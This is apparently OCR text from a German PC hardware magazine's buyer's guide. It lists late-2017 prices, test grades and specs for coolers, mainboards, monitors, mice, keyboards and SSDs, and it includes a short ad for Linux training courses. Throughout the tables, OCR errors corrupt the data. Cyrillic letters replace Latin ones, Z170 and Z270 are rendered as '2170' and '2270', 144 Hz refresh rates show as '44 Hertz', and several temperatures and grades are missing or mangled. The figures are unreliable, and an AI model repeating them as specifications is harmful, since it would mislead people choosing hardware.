Enermax ETS-50 Axe Ca. € 49,- 39 x 161 x 112 mm; 910 g 55,3 °С (1.190 U/min) 49,5/52,4/62,3 °C 3,3/1,3/0,4 Sone 2,67 01/2017 | www.pcgh.de/preis/1491128 
Thermaltake Frio Silent 12 Ca. € 39,- 28 x 141 x 67 mm; 328 g 54,7 °С (1.310 U/min) 53,8/58,6/70,4 °C 1,1/0,4/0,1 Sone 2,68 01/2017 | www.pcgh.de/preis/1158734 
Arctic Freezer 132*** Ca. € 24,- 24 x 150 x 74 mm; 659 g 53 *C (1.270 U/min) 53,0/58,3/67,3 *C 1,0/0,4/0,2 Sone** 2,71 04/2016 | www.pcgh.de/preis/1325324 
Be Quiet Shadow Rock Slim Ca. € 38,- 41 х 159 x 73 mm; 702 g 54,8 *C (1.220 U/min) 53,5/57,1/64,3 °C 1,6/0,5/0,1 Sone 2,72 09/2015 | www.pcgh.de/preis/1054903 
Noctua МН-С145 Ca. € 75,- 46 x 142 х 164 mm; 1.013 9 | 57,3 °C (980 U/min) 53,2/55,7/62,3 °C 3,1/1,4/0,3 Sone 3,02 04/2016 | www.pcgh.de/preis/1271077 
* Betrieb mit 50 Prozent Drehzahl nicht möglich ** Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Störgeräusche *** Anpresskraft Sockel-1151-Originalhalterung zu hoch, Nachrüstkit auf Anfrage 
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Einkaufsführer | SERVICE 


Einkaufsführer Wasserkühlung & Mainboards |... 


СЕСТРА PREIS-LEISTUNGS-TIPP [EL ET SPAR-TIPP 


Vorgefüllte Kompakt- und modulare Wasserkühlungen 


Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Ритре) 
Alphacool Eisbaer 240 Ca. € 120,- | 274 x 124 x 55 mm 50,7 *C (1.020 U/min) 49,4/51,2/56,0 *C 3,9/1,9/0,6/0,1 Sone 1,73 08/2016 | www.pcgh.de/preis/758311939 
YUPI Arctic Liquid Freezer 240 Ca.€75,- | 273 х 120 x 88 mm 47,4 °C (970 U/min) 45,3/47,4/51,4 °C 2,5/1,0/,2/0,2 Sone 1,78 03/2016 | www.pcgh.de/preis/1341649 
Cooler Master Master Liquid 240 Ca.€85,- | 278 x 120 х 53 mm °C (1.320 U/min) 45,2/47,5/52,7 °C 3,9/1,6/0,4/0,1 Sone 1,81 07/2017 | www.pcgh.de/preis/1562099 
NZXT Kraken X62 N. verfüg. | 316 x 144 x 55 mm 43,6 °С (960 U/min) 41,5/41,7/43,6 °C 6,3/3,4/1,0/0,2 Sone 1,84 | 07/2017 | www.pcgh.de/preis/1526114 
Be Quiet Silent Loop 240 mm Ca. € 120,- | 275 x 123 x 55 mm 50,4 *C (1.230 U/min) 47,2/48,5/51,7 °C 4,3/2,0/0,5/0,1 Sone 1,87 07/2017 | www.pcgh.de/preis/1508159 
Fractal Design Celsius $24 Ca. € 120,- | 283 x 122 x 55 mm *C (1.100 U/min) 45,4/46,9/51,6 *C 4,6/2,1/0,7/0,1 Sone 1,99 07/2017 | www.pcgh.de/preis/1621894 
Fractal Design Celsius 536 Ca. € 130,- | 404 x 122 x 56 mm "T *C (1.020 U/min) 43,1/45,0/49,1 °C 5,3/2,8/0,9/0,1 Sone 2,04 07/2017 | www.pcgh.de/preis/1621923 
Cooler Master Nepton 240M Ca. € 110,- | 277 x 123 x 59 mm 49,7 °C (1.320 U/min) 46,4/47,6/51,2 °C 4,3/2,1/,6/0,2 Sone 2,13 06/2015 | www.pcgh.de/preis/1184616 
Enermax Шатах 11 240 N. verfüg. | 275 x 120 x 53 mm 53,3 °С (1.020 U/min) 50,2/52,5/58,1 °C 2,8/1,3/,4/0,3 Sone 2,20 06/2015 | www.pcgh.de/preis/1214287 
Antec Kühler H20 1200 Pro Ca. € 75,- | 276 x 120 x 52 mm 51,7 °С (1.000 U/min) 48,0/49,7/52,7 °C 4,2/2,0/0,7/0,1 Sone 2,25 04/2016 | www.pcgh.de/preis/1374223 
Thermaltake Water 3.0 Extreme S Ca. € 110,- | 277 x 120 x 55 mm °C (1.020 U/min) 45,6/47,5/52,1 °C 5,5/2,4/,6/0,4 Sone 2,43 06/2015 | www.pcgh.de/preis/1230429 
‚Antec Mercury 240 Ca.€90,- | 274 х 120 x 49 mm u °C (1.140 U/min) 51,5/54,6/60,6 °C 3,3/1,5/0,4/0,2 Sone 2,49 07/2017 | www.pcgh.de/preis/1661789 
Modell Preis Radiator (B x H x T) CPU-Temp. 1,0 Sone | CPU-Temp., (100/75/50%) | Lauth. (100/75/50%/Pumpe) И PCGH-Preisvergleich 
Alphacool Nexx. Cool Answer 240 D5/ST | Ca. € 270,- | 275 x 124 x 55 mm 49,6 °C (1.120 U/min) 49,6/51,3/57,4 °C 1,0/0,5/0,1/0,1 Sone 1,24 09/2016 | www.pcgh.de/preis/1132495 
EK Water Blocks EK-Kit 5240 Ca. € 200,- | 282 х 121 x 52 mm 49,2 *C (1.200 U/min) 47/49,2/53 *C 2,3/1,0/0,3/0,1 Sone 1,34 | 09/2016 | www.pcgh.de/preis/1443185 
XSPC Ray Storm Pro lon AX240 Kit N.verfüg. | 287 x 128 x 65 mm 48,9 *C (1.000 U/min) 45,6/47,4/51,8 *C 2,9/1,3/0,5/0,3 Sone 1,58 09/2016 | www.pcgh.de/preis/1450064 


Temperatur- und Lautheitsmessungen entsprechen Luftkühlern, aber das Benotungssystem weicht ab. Wertung nicht vergleichbar! * Messung mit analoger Ansteuerung; bei PWM-Ansteuerung gegebenenfalls zusätzliche Stórgeráusche 


Mainboards für AMD-Prozessoren 


Sockel AM4 Preis IOH/Format | PCI-E CPU (3.0) & ІОН (2.0) | M.2-Anbindung | Sound USB ext/int; SATA | Lüfter Wertung PCGH-Preisvergleich 
Asus Crosshair VI Hero Ca. € 230,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 51220 2/1x3.1; 8/2x3,0; 8x | 7 (7x PWM) 2,81 05/2017 | www.pcgh.de/preis/1582881 
Gigabyte AX370-Gam. 5 | Ca. € 190,- | X370/ATX x16*/x0* & x0*/x0*/x0*/x4* | 3.0x4 ALC1220 | 4/0x3.1; 6/4x3,0; 8x | 8 (8x PWM) 2,82 05/2017 | www.pcgh.de/preis/1582173 
MSI X370 Xpower Titan. | Ca. € 220,- | X370/ATX x16*/x0* & x1/x1/x1/x0* 3.0x4; 2.0x4* | ALC1220 | 2/1x3.1; 4/4x3,0; 6x | 5 (5x PWM) 2:93 05/2017 | www.pcgh.de/preis/1580650 
TTE Asrock X370 Killer SLI Са. € 140,- | X370/ATX x16*/x0* & x1/x1/x1/x1 3.0x4; 2.0x2 ALC892 | 2/0x3.1; 6/4x3,0; 6x | 5 (5х PWM) 2:93 05/2017 | www.pcgh.de/preis/1582146 
Asus Prime X370-pro Ca. € 140,- | X370/ATX x16*/x0* & x0*/x1/x0*/x4* | 3.0х4 S1220A |2/1x3.1; 6/2x3,0; 8x | 6 (6x PWM) 2,95 05/2017 | www.pcgh.de/preis/1582178 
Asus Prime B350-Plus Ca.€85,- | B350/ATX x16 & x0*/x4*/x0* 3.0x4 ALC887 | 2/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 3,26 06/2017 | www.pcgh.de/preis/1582183 
ПТТ Asrock AB350M Pro4 Са. Є 75,- | B350/uATX | x16 & x1/x4 3.0x4; SATA** |ALC892 | 0/0x3.1; 5/2x3,0; 4x | 3 (2x PWM) 3,36 06/2017 | www.pcgh.de/preis/1582198 
Gigabyte AB350-Gam. 3 | Ca. € 110,- | B350/ATX x16 & х1/х/4*/х0*/х0* 3.0x4** ALC1220 | 2/0x3.1; 4/2x3,0; 6x | 5 (5x PWM) 3/39 06/2017 | www.pcgh.de/preis/1582168 
Biostar Racing B350GT5 | Ca. € 90,- | B350/ATX x16 & x0*/x0*/x4* 3.0x4 ALC892 | 2/0x3.1; 4/2x3,0; 4х | 4 (4х PWM) 3,42 06/2017 | www.pcgh.de/preis/1579988 
* PCI-E-Lane-Sharing ** Shared mit SATA *** Shared mit SATA und mit PCI-E-Slot(s) 
Sockel 2066 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
TTD Asus Strix X299-E Gam. | Ca. € 320,- | X299/ATX x16/x16/x8 & x1*/x1/x4** 3.0x4; 3.0x4 $1220A 2/1x3.1; 4/4х3,0; 8x | 7 (7x PWM) 2,05 09/2017 | www.pcgh.de/preis/1641089 
Asrock X299 Prof. Ga. 19 | Са. € 420,- | X299/ATX | x16*/x8/x16/x0* & х1(-2.0!) 3x 3.0x4 ALC1220 | 2/1x3.1; 4/4х3,0; 10x | 5 (5x PWM) 2,06 10/2017 | www.pcgh.de/preis/1641217 
MSI X299 Ga. Pro Саг AC | Са. € 310,- | X299/ATX | x16/x4/x16/x8 & x1/x1 3.0x4; 3.0x4 ALC1220 | 2/1x3.1; 4/4x3,0; 8x | 6 (6x PWM) 2,07 09/2017 | www.pcgh.de/preis/1632012 
Asus TUF X299 Mark 2 Ca. € 230,- | X299/ATX | x16/x16/x8 & x1/x2/x1 3.0x4; 3.0x4 $1220A 2/0x3.1; 4/4x3,0; 6x | 8 (8x PWM) 2,12 09/2017 | www.pcgh.de/preis/1641192 
In us X299 Raider Ca. € 200,- | X299/ATX | x16/x16/x8 & х4/х1 3.0x4**; 3.0x4 ALC1220 | 2/1x3.1; 4/4x3,0; 8x | 6 (6x PWM) 2,222 10/2017 | www.pcgh.de/preis/1641249 
Gigabyte X299 Gaming 9 | Ca. € 490,- | X299/ATX | x16*/x4*/x16/x0* & x4 3.0x4*; 2x 3.0x4 | ALC1220 | 5/1х3.1; 4/4x3,0; 8x | 8 (8x PWM) 2,24 10/2017 | www.pcgh.de/preis/1631550 
Gigabyte X299 Gaming 3 | Ca. € 270,- | X299/ATX | x16/x4/x16/x8 & x4 3.0x4**: 3.0x4 ALC1220 | 2/0x3.1; 6/4x3,0; 8x | 8 (8x PWM) 2,29 09/2017 | www.pcgh.de/preis/1631912 
Sockel 1151 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (3.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
Ip Asus Maximus VIII Ranger | Ca. € 130,- | Z170/ATX x16*/x0* & х1/х1/х1/х4 3.0x4 ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 7 (7x PWM) 2,33 11/2015 | www.pcgh.de/preis/1306336 
Asus Z170-Deluxe Ca. € 200,- | 2170/ATX x16*/x0* & х1/х1/х1/х1/х2* 3.0x4 ALC1150 | 6/0x3.1; 1/4x3,0; 8x | 7 (6x PWM) 2,34 10/2015 | www.pcgh.de/preis/1306329 
MSI 2270 Gam. Pro Carb. | Ca. € 160,- | 2270/АТХ | x16*/x0* & x1/x1/x1/x4 3.0x4; 3.0x4** ALC1220 | 2/0x3.1; 4/4x3,0; 6x | 6 (6x PWM) 2:37 02/2017 | www.pcgh.de/preis/1557471 
Asus Maximus IX Hero Ca. € 250,- | Z270/ATX x16*/x0* & x1/x1/x0*/x4* 3.0x4; 3.0x4** ALC1220 | 2/2x3.1; 4/2x3,0; 6x | 8 (8x PWM) 2,41 02/2017 | www.pcgh.de/preis/1557900 
Gigabyte 2270Х-бат. 7 | Ca. € 210,- | Z270/ATX x16*/x0* & x1/x1/x0*/x0* 3.0x4*; 3.0x4** | Sound Core | 2/0x3.1; 5/4x3,0; 6x | 7 (7x PWM) 2,46 02/2017 | www.pcgh.de/preis/1557876 
Asrock 7270 Gaming K6 | Ca. € 180,- | Z270/ATX x16*/x0* & х1/х1/х1/х4 3.0x4**: 3.0x4** | ALC1220 | 2/0x3.1; 4/4x3,0; 8x | 5 (5x PWM) 2,52 02/2017 | www.pcgh.de/preis/1544856 
MSI 2170А Gaming M7 Ca. € 160,- | 2170/АТХ x16*/x0* & x1/x0*/x0*/x0*/x4* | 3.0x4; 3.0x4*** | ALC1150 | 2/0x3.1; 2/4x3,0; 6x | 5 (2х PWM) 2,53 10/2015 | www.pcgh.de/preis/1306689 
Asrock 2170 Gaming K4 | Ca. € 120,- | Z170/ATX x16 & х1/х1/х4/х1 3.0x4 ALC1150 | 0/0x3.1; 6/2x3,0; 6x | 6 (2х PWM) 2,58 11/2015 | www.pcgh.de/preis/1306625 
Biostar Z270GT6 N. verfüg. | Z270/ATX x16 & х1/х1/х4/*х1/х4 3.0x4* ALC892 0/0x3.1; 5/2x3,0; 6x | 5 (5x PWM) ТТ 04/2017 | www.pcgh.de/preis/1558351 
Asrock B150M Pro4S N. verfüg. | В150/ШАТХ | x16 & x1/x1/x4 - ALC892 0/0x3.1; 4/2x3,0; 6x | 3 (3x PWM) 3,28 08/2016 | www.pcgh.de/preis/1318332 
Sockel 2011-v3 Preis PCH/Form. | PCI-E CPU (3.0) & PCH (2.0) M.2-Anbindung | Sound USB ext./int.; SATA | Lüfter Wertung PCGH-Preisvergleich 
DST Asrock X90 Taichi Ca. € 230,- | X99/ATX x16/x16*/x0* & x1/x1 3.0x4; 3.0x4 ALC1150 | 2/x3.1; 3/2x3,0; 10x | 5 (3x PWM) 1,80 10/2016 | www.pcgh.de/preis/1462624 
Asus Strix X99 Gaming Ca. € 310,- | X99/ATX x16*/x16/x0* & x0*/x1*/x1* 3.0x4 ALC1150 | 2/x3.1; 4/4x3,0; 10x | 6 (6x PWM) 1,84 10/2016 | www.pcgh.de/preis/1441449 
Gigabyte X99-Ultra Gam. | Ca. € 290,- | X99/ATX x16*/x16*/x0*/x0* & x1 3.0x4 ALC1150 | 2/x3.1; 6/4x3,0; 10x | 5 (3x PWM) 1,89 10/2016 | www.pcgh.de/preis/1446348 
НКТйшкге MSI X99A Raider Ca. € 220,- | X99/ATX х16*/х16/х0* & x1/x1 3.0х4 ALC892 2/x3.1; 4/2x3,0; 10x | 5 (2x PWM) 1,95 10/2016 | www.pcgh.de/preis/1247988 
Asus X99-E Ca. € 230,- | X99/ATX x 16/x16/x0* & x1/x1 3.0x4* ALC1150 | 1/x3.1; 4/4x3,0; 10x | 5 (5х PWM) 1,95 10/2016 | www.pcgh.de/preis/1441447 
MSI X99A Gam. Pro Carb. | Ca. € 260,- | X99/ATX x16*/x16/x0*/x0* & x1/x1 3.0x4* о. 2.0x2** | ALC1150 | 2/x3.1; 4/5x3,0; 10x | 5 (1x PWM) 1,96 10/2016 | www.pcgh.de/preis/1443681 


* PCI-E-Lane-Sharing ** Shared mit SATA *** Shared mit SATA und mit PCI-E-Slot(s) 
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SERVICE | Einkaufsführer 


Einkaufsführer LCDs & Eingabegeräte келды 


(LLL PIPREIS-LEISTUNGS-TIPP [ERS f SPAR-TIPP 


Full HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 


Dell Alienware AW2518H | Ca. € 600,- 24,5 Zoll 240 Hertz 2,3 ms 6 ms bis 447 cd/m? N-Pane G-Sync 1,60 10/2017 | www.pcgh.de/preis/1675342 

Asus MG248Q Ca. € 330,- 24 Zo 44 Hertz 5 ms - 69 bis 320 cd/m? N-Pane Freesync 1,66 06/2016 | www.pcgh.de/preis/1419189 

Acer XF240H bmjdpr Ca. € 245,- 24 Zo 44 Hertz 5 ms - 120 bis 370 cd/m2 N-Pane Freesync 1,74 | 05/2016 | www.pcgh.de/preis/1344416 
Medion Erazer X58426 Ca. € 375,- 31,5 Zoll 44 Hertz 12 ms 1ms bis 288 cd/m2 VA-Pane Freesync 1,76 05/2017 | www.pcgh.de/preis/1585204 

АОС G2460PF Ca. € 230,- 24 Zo 44 Hertz 6 ms - 156 bis 358 cd/m? N-Pane Freesync 1,77 05/2016 | www.pcgh.de/preis/1318972 
Asus VG278HV Ca. € 405,- 27 Zo 44 Hertz 5 ms - 58 bis 305 cd/m2 N-Pane - 1,79 05/2016 | www.pcgh.de/preis/1336350 

Asus ROG Swift PG258Q | Са. € 555,- 24,5 Zoll 240 Hertz 1 ms 5ms bis 488 cd/m2 N-Pane G-Sync 1,93 10/2017 | www.pcgh.de/preis/1451609 

WQHD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

Viewsonic XG2703-GS Ca. € 800,- 27 Zo 65 Hertz _ 2 ms bis 355 cd/m2 PS-Panel G-Sync 1,56 04/2017 | www.pcgh.de/preis/1504306 

AOC Agon AG241QG Ca. € 500,- 24 Zo 65 Hertz - 3ms bis 450 cd/m? N-Pane G-Sync 1,74 | 04/2017 | www.pcgh.de/preis/1476116 

Asus MG279Q Ca. € 560,- 27 Zo 44 Hertz 8 ms 9 ms 35 bis 343 cd/m? PS-Panel Freesync 1,87 08/2015 | www.pcgh.de/preis/121 5454 ТТ 
Benq XL2730Z N.verf. 27 Zo 44 Hertz 8 ms 8 ms 52 bis 353 cd/m2 N-Pane Freesync 2,01 05/2015 | www.pcgh.de/preis/1223748 

Acer T272HUL bmidpcz Ca. € 540,- 27 Zo 60 Hertz 5 ms 9 ms 74 bis 312 cd/m? VA-Pane - 2,04 | 03/2014 | www.pcgh.de/preis/997601 

Ultra HD Preis Bilddiagonale | Refreshrate | Reaktionszeit | Inputlag | Leuchtkraft Paneltyp VRR Test in PCGH-Preisvergleich 

iyama X4071UHSU-B1 Ca. € 560,- 40 Zo 60 Hertz 6 ms 25 ms 69 bis 295 cd/m? MVA-Panel |- 1,81 11/2016 | www.pcgh.de/preis/1362847 «ТҮҮ 
Аѕиѕ РВ2870 Са. € 390,- 28 20 60 Hertz 2ms 3ms 36 bis 277 cd/m? TN-Panel _ 1,87 07/2014 www.pcgh.de/preis/1094194 «Т ТИЛ. 
Asus РВ2790 Ca. € 600,- 2770 60 Hertz 6 ms 9ms 54 bis 266 cd/m2 IPS-Pane _ 2,04 | 01/2015 | www.pcgh.de/preis/1123437 

LG 27MU67-B Ca. € 590,- 27 Zo 60 Hertz 8 ms 11 ms 72 bis 230 cd/m? IPS-Panel Freesync 2,12 09/2015 | www.pcgh.de/preis/1273811 

21:9 Preis Auflösung Refreshrate | Reaktionszeit | Inputlag Leuchtkraft Paneltyp VRR Test in 

LG 38UC99-W Са. € 1.260,- | 3.8340 x 1.600 | 75 Hertz 7 ms 10 ms 50 bis 295 cd/m? AHIPS-Panel | Freesync 1,39 03/2017 | www.pcgh.de/preis/1501656 

Asus ВОб PG348Q Са. € 1.080,- | 3.440 x 1.440 | 100 Hertz 6 ms 4ms 31 bis 324 cd/m2 IPS-Pane G-Sync 1,61 04/2016 | www.pcgh.de/preis/1276261 

LG 34UC98-W Ca. € 945,- 3.440 x 1.440 | 75 Hertz 10 ms 2ms 70 bis 295 cd/m? IPS-Panel Freesync 1,76 07/2016 | www.pcgh.de/preis/1395258 

Samsung S34E790C Ca. € 690,- 3.440 x 1.440 | 60 Hertz 10 ms 6 ms 46 bis 295 cd/m? MVA-Panel |- 1,76 04/2016 | www.pcgh.de/preis/1195794 

Asus MX34VQ Ca. € 770,- 3.440 x 1.440 | 100 Hertz 12 ms 9 ms bis 299 cd/m? VA-Pane Freesync 1,83 08/2017 | www.pcgh.de/preis/1565011 


Modell Preis Kabellánge | Tasten Abtastung Auflósung Gewicht Ergonomie Test in 

Roccat Nyth Ca. € 105,- | 180 cm 16 + Scrollrad Optisch (Laser) | 12.000 Dpi 130 Gramm Sehr gu 1,16 11/2015 | www.pcgh.de/preis/1300527 

Roccat Leadr Ca. € 150,- | Schnurlos 12 + Scrollrad Optisch (LED) | 12.000 Dpi 134 Gramm Sehr gu 1,22 08/2017 | www.pcgh.de/preis/1558254 

Razer Basilisk Са. Є 70,- | 200 ст 8 + Scrollrad Optisch (LED) | 16.000 Dpi 107 Gramm Sehr gu 1,24 12/2017 | www.pcgh.de/preis/1685902 ME 
Razer Lancehead Са. € 150,- | Schnurlos | 8 + Scrollrad Optisch (Laser) | 16.000 Dpi 126 Gramm Sehr gu 1,27 08/2017 | www.pcgh.de/preis/1615980 

Roccat Tyon Ca.€90- | 180 cm 12 + Scrollrad Optisch (Laser) | 8.200 Dpi 126 Gramm Sehr gu 1,32 12/2014 www.pcgh.delpreis/1154844 (TETTA 

Asus ROG Gladius 11 Са. Є 80,- | 200/100 cm | 6 + Scrollrad Optisch (LED) | 12.000 Dpi 110 Gramm Sehr gu 1,32 04/2017 | www.pcgh.de/preis/1574884 

Logitech G900 Chaos Spectrum | Ca. € 130,- | Schnurlos 10 + Scrollrad Optisch (LED) 2.000 Dpi 107 Gramm Sehr gu 1,33 07/2016 | www.pcgh.de/preis/1414931 

Corsair Glaive Са. Є 75,- | Schnurlos 5 + Scrollrad Optisch (LED) | 16.000 Dpi 122 Gramm Sehr gu 1,37 12/2017 | www.pcgh.de/preis/1619280 ‚NEU 
Razer Mamba 2015 Са. € 140,- | Schnurlos | 6 + Scrollrad Optisch (LED) | 16.000 Dpi 128 Gramm Sehr gu 1,37 04/2017 | www.pcgh.de/preis/1310490 

Asus ROG Pugio Ca.€75,- | 200 cm 7, 5 oder 3 + Scrollrad | Optisch (LED) | 7.200 Dpi 103 Gramm Sehr gu 140 | 07/2017 www.pcgh.de/preis/1643056 «ТМТ 
t espots Ventus X RGB Ca.€45- | 180 ст 5 + Scrollrad Optisch (LED) 2.000 Dpi 116 bis 130 Gramm | Sehr gu 1,41 12/2017 | www.pcgh.de/preis/1563168 ‚NEU 


Nicht mechanisch Preis Beleuchtung Anschlüsse Handballenablage | Zusatztasten Makro/Speicher Test in 

Roccat Isku+ Force FX Ca.€95,- | Voll, RGB-Farbraum _ a (integriert) 10 + 5 Makrotasten | Ја/ја (k. A.) 1,60 06/2017 | www.pcgh.de/preis/1558265 

Razer Ornata Chroma Ca. € 100,- | RGB-Einzeltastenbel. _ a (modular) 11 (Doppelbelegung) | Ja/ja (k. A.) 1,62 03/2017 | www.pcgh.de/preis/1513169 

Asus Cerberus Ca.€50,- | Voll, zwei Farben _ a (integriert) 6 alja (k. A.) 1,86 10/2016 www.pcgh.de/preis/1338736 ТҮҢ 
Logitech G213 Prodigy Ca.€55,- | Voll, RGB-Farbraum _ a (integriert) 10 alja (ein Profil) 1,88 10/2017 | www.pcgh.de/preis/1503355 

Sharkoon Skiller Pro+ Са. Є 35,- | Voll, sieben Farben _ a (integriert) 9 + 3 Profilwahlta. alja (k. A.) 1,96 10/2016 | www.pcgh.de/preis/1344423 ТҮҢ 
Mechanisch Preis Beleuchtung Anschlüsse Schalter (getestet) | Schalter (verfüg.) | Makro/Speicher Test in PCGH-Preisvergleich 

Roccat Ryos MK FX Ca. € 175,- | RGB-Einzeltastenbel. Audio Cherry MX Brown | MX Black/Red/Blue alja (2 MByte) 1,26 | 09/2016 | www.pcgh.de/preis/1388126 

Razer Black Widow Chroma V2 Ca. € 185,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Razer Yellow (RGB) | Razer Green/Brown alja (k. A.) 1,30 04/2017 | www.pcgh.de/preis/1568991 

Corsair K95 Platimun RGB Ca. € 200,- | RGB-Einzeltastenbel. 1x USB 2.0 Ch. MX Speed КСВ | Ch. MX Speed RGB | Ja/ja (8 MByte) 1,36 07/2017 | www.pcgh.de/preis/1572533 

Creative SBX Vanguard K08 Ca. € 165,- | RGB-Einzeltastenbel. 1xUSB 2.0 Creative/Omron PRES | Creative/Omron PRES | Ja/ja (k. A.) 1,44 10/2017 | www.pcgh.de/preis/1560777 

Corsair Strafe RGB MX Silent Ca. € 140,- | RGB-Einzeltastenbel. 1x USB 2.0, Audio | Cherry MX Silent Red | MX Silent Red/Brown | Ja/ja (k. A.) 1,45 03/2015 | www.pcgh.de/preis/1318576 

Qpad MK 90 Ca. € 90,- RGB-Einzeltastenbel. 2 x USB 2.0, Audio | Kailh RGB Red Kailh RGB Black alja (k. A.) 1,45 11/2015 www.pcgh.de/preis/1258778 «ТТЛ. 
Tt esports Poseidon Z RGB Ca.€95,- |RGB-Einzeltastenbel. Keine Kailh Blue RGB Kailh Brown RGB alja (512 kByte) 1,47 10/2016 | www.pcgh.de/preis/1462098 

Patriot Viper V760 Ca. € 125,- | RGB-Einzeltastenbel. 1x USB 2.0 Kailh RGB Brown Kailh RGB Brown alja (6 Profile) 1,49 07/2017 | www.pcgh.de/preis/1539759 

Lioncast LK300 RGB Ca. € 120,- | RGB-Einzeltastenbel. Keine Kailh RGB Red Lioncast LK300 RGB | Ja/ja (k. A.) 1,50 10/2017 www.pcgh.de/preis/1659898 «ТҮҢ 
Asus ROG Claymore Ca. € 240,- | RGB-Einzeltastenbel. Keine Cherry MX RGB Red | Cherry MX RGB Red | Ja/ja (k. A.) 1,50 | 03/2017 | www.pcgh.de/preis/1549791 

Roccat Suora FX Ca. € 140,- | RGB-Einzeltastenbel. Keine TTC RGB Brown ТТС RGB Brown a/ja (k. A.) 1,50 03/2017 | www.pcgh.de/preis/1538924 
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LPIC-1 / LPIC-2 Trainings 


mit Ingo Wichmann , Linuxhotel 


LPIC-1 (LPI 101 + 102) 


LPIC-2 (LPI 201 + 202) 


linuXhotel 


Einfache IMAP-Server mit Dovecot 
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= mit Peer Heinlein, 
4 Heinlein Support GmbH 


та 
Tl 


heinlein 


Python für Systemadministratoren 


mit Rainer Grimm, 
Science + computing AG 


= ё puthon` 


Рирреї Fundamentals 


Das offizielle Training 
mit Achim Ledermüller, 
NETWAYS GmbH 


mNETWwAYSy: /NPUppet 


Y 
f /ComputecAcademy 


www.computec-academy.de 


; IT- Onlinetrainings 


Mit Experten lernen. 


m Lernen Sie, wo und 
wann Sie möchten. 


= Sparen Sie Zeit und Kosten. 


= Bleiben Sie trotz zeitlicher Engpässe 
up-to-date. 


cmo 


Effiziente BASH-Skripte 
{ mit Klaus Knopper, 

13» Gründer der Knoppix-Distribution, 
KNOPPER.NET 


199€ 


d L [нух Linux Foundation 
FOUNDATION шшш 


AUTHORIZED TRAINING 


PARTNER 


LFS201 — Essentials of System Administration 
Englisch, inkl. Prüfungsvoucher 


LFS211 - Linux Networking and Administration 
Englisch, inkl. Prüfungsvoucher 


LFS252 — 0penStack Administration Fundamentals 
Englisch, inkl. Prüfungsvoucher 


Linux-Hochverfügbarkeit und Clusterbau 


mit Dr. Michael Schwartzkopff, 
sys4 AG 


[*] 5у54 


Enterprise Experts 


SERVICE | Einkaufsführer 


Einkaufsführer 5505 & Festplatten 


Preise: Stand 18.10.2017 


(ИТИ PREIS-LEISTUNGS-TIPP 


[ERS fT SPAR-TIPP 


Solid State Drives (SATA 3/2,5 Zoll) 


НҤїйшкге 


Bis 256 Gigabyte Preis Kapazität bin./dez. | Transfer 1/5* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 
Samsung SSD 850 Evo Ca. € 95,- 233 GiB/250 GB 514/496 MB/s 76.000 81 Sekunden | 5 Jahre 1,96 08/2015 | www.pcgh.de/preis/1 194261 
Adata Ultimate SU900 Са. Є 110,-  |238 GiB/256 GB 529/490 MB/s 83.000 84 Sekunden | 5 Jahre 2,00 05/2017 | www.pcgh.de/preis/1563414 
Adata SX930 Са. Є 105,- | 224 GiB/240 GB 515/410 MB/s 78.000 91 Sekunden | 5 Jahre 2,04 | 12/2015 | www.pcgh.de/preis/1299666 
Sandisk X400 Ca. € 95,- 233 GiB/250 GB 478/492 MB/s 23.000 121 Sekunden | 5 Jahre 2,31 07/2016 | www.pcgh.de/preis/1368843 
Sandisk Ultra II Ca. € 85,- 224 GiB/240 GB 478/407 MB/s 24.000 109 Sekunden | 3 Jahre 2,31 07/2016 | www.pcgh.de/preis/1154831 
Kingston HyperX Sav. SSD Kit | Ca. € 125,- | 224 GiB/240 GB 525/497 MB/s 33.000 103 Sekunden | 3 Jahre 2,32 08/2015 | www.pcgh.de/preis/1255802 
Kingston SSDnow UV400 Ca. € 85,- 224 GiB/240 GB 512/488 MB/s 22.000 159 Sekunden | 3 Jahre 2,63 05/2017 | www.pcgh.de/preis/1446599 
Bis 512 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in PCGH-Preisvergleich 
Samsung SSD 850 Evo Са. Є 155,- | 466 GiB/500 GB 514/502 MB/s 89.000 72 Sekunden | 5 Jahre 1,85 08/2015 | www.pcgh.de/preis/1194263 
Toshiba 0300 Pro Са. € 230,- |477 GiB/512 GB 519/490 MB/s 48.000 63 Sekunden | 5 Jahre 1,92 12/2015 | www.pcgh.de/preis/1312394 
Sandisk Extreme Pro Ca. € 260,- | 447 GiB/480 GB 527/492 MB/s 39.000 93 Sekunden | 10 Jahre 2,07 07/2016 | www.pcgh.de/preis/1126463 
Sandisk Ultra II Са. € 145,- | 447 GiB/480 GB 477/498 MB/s 28.000 91 Sekunden | 3 Jahre 2,16 07/2016 | www.pcgh.de/preis/1154832 
Corsair Neutron Xti N. verfügbar | 466 GiB/480 GB 528/493 MB/s 15.000 85 Sekunden | 5 Jahre 2,211 05/2017 | www.pcgh.de/preis/1469015 
Sandisk X400 Са. € 170,- | 477 GiB/512 GB 476/492 MB/s 25.000 99 Sekunden | 5 Jahre 2,23 07/2016 | www.pcgh.de/preis/1368844 
Western Digital WD Blue SSD | Ca. € 150,- | 466 GiB/500 GB 479/495 MB/s 32.000 104 Sekunden | 3 Jahre 2,30 05/2017 | www.pcgh.de/preis/1521437 
Kingston SSDnow UV400 Са. € 160,- | 466 GiB/480 GB 528/480 MB/s 22.000 126 Sekunden | 3 Jahre 2,41 05/2017 | www.pcgh.de/preis/1446624 
Ab 960 Gigabyte Preis Kapazität bin./dez. | Transfer L/S* AS-SSD IOPS** Kopiertest Herstellergarantie Test in 
